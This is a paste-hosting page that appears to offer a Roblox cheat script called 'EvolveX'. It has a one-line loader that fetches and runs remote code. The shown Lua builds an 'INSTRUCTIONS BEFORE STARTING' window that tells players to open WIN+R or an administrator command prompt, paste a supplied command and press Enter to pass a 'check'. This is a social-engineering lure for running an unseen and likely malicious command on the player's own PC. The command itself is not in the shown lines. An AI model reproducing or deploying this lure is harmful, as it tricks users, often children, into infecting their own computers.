EvolveX

publiclua#ui#instructions#menu#start#bloxsrtike#rivalsupdated
loadstring(game:HttpGet("https://pasteblox.com/raw/uq5wcmvney"))()
pbx pull uq5wcmvneyraw link never changes · v2 live

what's new in v2

· @spireterprize

fix

evolvex.lua
codediff
-- ============================================
-- Dark UI / Burgundy CTA / Responsive layout
-- ============================================

local Players = game:GetService("Players")
local CoreGui = game:GetService("CoreGui")
local UserInputService = game:GetService("UserInputService")
local TweenService = game:GetService("TweenService")

local player = Players.LocalPlayer

-- Colours
local COLORS = {
    Background = Color3.fromRGB(12, 15, 22),
    Window = Color3.fromRGB(24, 28, 38),
    Panel = Color3.fromRGB(31, 37, 50),
    PanelHover = Color3.fromRGB(40, 46, 60),

    Teal = Color3.fromRGB(0, 225, 180),
    TealDark = Color3.fromRGB(0, 150, 125),

    Burgundy = Color3.fromRGB(112, 24, 47),
    BurgundyHover = Color3.fromRGB(145, 32, 60),
    BurgundyDisabled = Color3.fromRGB(65, 35, 45),

    White = Color3.fromRGB(245, 247, 250),
    Muted = Color3.fromRGB(165, 175, 195),
    Red = Color3.fromRGB(220, 65, 80),
    Border = Color3.fromRGB(53, 63, 80),
}

-- ============================================
-- GUI parent
-- ============================================

local parent

local ok = pcall(function()
    local _ = CoreGui:GetChildren()
    parent = CoreGui
end)

if not ok or not parent then
    local success, result = pcall(function()
        return player:WaitForChild("PlayerGui")
    end)

    if not success then
        warn("Instruction GUI: PlayerGui unavailable")
        return
    end

    parent = result
end

local old = parent:FindFirstChild("ScriptInstructionGui")
if old then
    old:Destroy()
end

-- ============================================
-- Helper functions
-- ============================================

local function create(className, props, parentObject)
    local obj = Instance.new(className)

    for key, value in pairs(props) do
        obj[key] = value
    end

    obj.Parent = parentObject
    return obj
end

local function round(object, radius)
    create("UICorner", {
        CornerRadius = UDim.new(0, radius)
    }, object)
end

local function outline(object, color, thickness)
    return create("UIStroke", {
        Color = color,
        Thickness = thickness,
        ApplyStrokeMode = Enum.ApplyStrokeMode.Border,
    }, object)
end

-- ============================================
-- ScreenGui
-- ============================================

local gui = create("ScreenGui", {
    Name = "ScriptInstructionGui",
    ResetOnSpawn = false,
    IgnoreGuiInset = true,
    ZIndexBehavior = Enum.ZIndexBehavior.Sibling,
    DisplayOrder = 999,
}, parent)

-- Затемнение игрового мира
local backdrop = create("Frame", {
    Name = "Backdrop",
    Size = UDim2.fromScale(1, 1),
    BackgroundColor3 = Color3.new(0, 0, 0),
    BackgroundTransparency = 1,
    BorderSizePixel = 0,
}, gui)

-- ============================================
-- Main window
-- ============================================

local window = create("Frame", {
    Name = "Window",
    AnchorPoint = Vector2.new(0.5, 0.5),
    Position = UDim2.fromScale(0.5, 0.5),
    Size = UDim2.fromOffset(540, 440),
    BackgroundColor3 = COLORS.Window,
    BorderSizePixel = 0,
    ClipsDescendants = true,
    Active = true,
}, gui)

round(window, 14)
outline(window, COLORS.Teal, 1.5)

create("UISizeConstraint", {
    MinSize = Vector2.new(260, 300),
    MaxSize = Vector2.new(600, 520),
}, window)

-- Обновляем размер окна при изменении экрана
local camera = workspace.CurrentCamera

local function updateWindowSize()
    camera = workspace.CurrentCamera
    if not camera then return end

    local viewport = camera.ViewportSize

    local width = math.clamp(viewport.X * 0.88, 260, 560)
    local height = math.clamp(viewport.Y * 0.78, 300, 480)

    window.Size = UDim2.fromOffset(width, height)
end

updateWindowSize()

if camera then
    camera:GetPropertyChangedSignal("ViewportSize"):Connect(
        updateWindowSize
    )
end

-- ============================================
-- Header
-- ============================================

local header = create("Frame", {
    Name = "Header",
    Size = UDim2.new(1, 0, 0, 76),
    BackgroundTransparency = 1,
    Active = true,
}, window)

-- Информационный значок
local infoIcon = create("TextLabel", {
    Position = UDim2.fromOffset(18, 18),
    Size = UDim2.fromOffset(40, 40),
    BackgroundColor3 = COLORS.Panel,
    Text = "i",
    TextColor3 = COLORS.Teal,
    Font = Enum.Font.GothamBold,
    TextSize = 27,
}, header)

round(infoIcon, 12)
outline(infoIcon, COLORS.TealDark, 1)

local title = create("TextLabel", {
    Name = "Title",
    Position = UDim2.fromOffset(70, 13),
    Size = UDim2.new(1, -126, 0, 30),
    BackgroundTransparency = 1,
    Text = "INSTRUCTIONS BEFORE STARTING",
    TextColor3 = COLORS.Teal,
    Font = Enum.Font.GothamBold,
    TextSize = 16,
    TextScaled = true,
    TextXAlignment = Enum.TextXAlignment.Left,
}, header)

create("UITextSizeConstraint", {
    MinTextSize = 11,
    MaxTextSize = 16,
}, title)

local subtitle = create("TextLabel", {
    Position = UDim2.fromOffset(70, 43),
    Size = UDim2.new(1, -90, 0, 20),
    BackgroundTransparency = 1,
    Text = "Read EVERYTHING before proceeding.",
    TextColor3 = COLORS.Muted,
    Font = Enum.Font.Gotham,
    TextSize = 12,
    TextXAlignment = Enum.TextXAlignment.Left,
    TextWrapped = true,
}, header)

local closeBtn = create("TextButton", {
    Name = "CloseButton",
    AnchorPoint = Vector2.new(1, 0),
    Position = UDim2.new(1, -12, 0, 12),
    Size = UDim2.fromOffset(30, 30),
    BackgroundColor3 = COLORS.Red,
    Text = "X",
    TextColor3 = COLORS.White,
    Font = Enum.Font.GothamBold,
    TextSize = 14,
    AutoButtonColor = true,
}, header)

round(closeBtn, 8)

local divider = create("Frame", {
    Position = UDim2.new(0, 16, 0, 76),
    Size = UDim2.new(1, -32, 0, 1),
    BackgroundColor3 = COLORS.Border,
    BorderSizePixel = 0,
}, window)

-- ============================================
-- Scrollable instructions
-- ============================================

local scroll = create("ScrollingFrame", {
    Name = "Instructions",
    Position = UDim2.fromOffset(16, 88),
    Size = UDim2.new(1, -32, 1, -184),
    BackgroundTransparency = 1,
    BorderSizePixel = 0,
    ScrollBarThickness = 4,
    ScrollBarImageColor3 = COLORS.Teal,
    CanvasSize = UDim2.new(0, 0, 0, 0),
    AutomaticCanvasSize = Enum.AutomaticSize.Y,
    ScrollingDirection = Enum.ScrollingDirection.Y,
}, window)

local list = create("UIListLayout", {
    Padding = UDim.new(0, 10),
    SortOrder = Enum.SortOrder.LayoutOrder,
}, scroll)

local padding = create("UIPadding", {
    PaddingBottom = UDim.new(0, 8),
    PaddingRight = UDim.new(0, 4),
}, scroll)

local function addStep(number, text)
    local row = create("Frame", {
        Size = UDim2.new(1, -4, 0, 54),
        BackgroundTransparency = 1,
        LayoutOrder = number,
    }, scroll)

    local badge = create("TextLabel", {
        Size = UDim2.fromOffset(34, 34),
        Position = UDim2.fromOffset(0, 5),
        BackgroundColor3 = COLORS.Panel,
        Text = tostring(number),
        TextColor3 = COLORS.Teal,
        Font = Enum.Font.GothamBold,
        TextSize = 16,
    }, row)

    round(badge, 17)
    outline(badge, COLORS.TealDark, 1)

    create("TextLabel", {
        Position = UDim2.fromOffset(46, 0),
        Size = UDim2.new(1, -50, 1, 0),
        BackgroundTransparency = 1,
        Text = text,
        TextColor3 = COLORS.White,
        Font = Enum.Font.Gotham,
        TextSize = 13,
        TextWrapped = true,
        TextXAlignment = Enum.TextXAlignment.Left,
        TextYAlignment = Enum.TextYAlignment.Center,
    }, row)
end

addStep(1, "Press WIN+R or open CMD from Administrator.")
addStep(2, "Copy command from window below.")
addStep(3, "Paste it into WIN+R window or CMD window and press Enter.")
addStep(4, "After check complete, you can continue play safe!")

-- ============================================
lines 1–300 of 545open raw find-in-page only searches the lines loaded so far. "show all" loads the rest.

changelog

2 versions
  1. first version

    @spireterprize·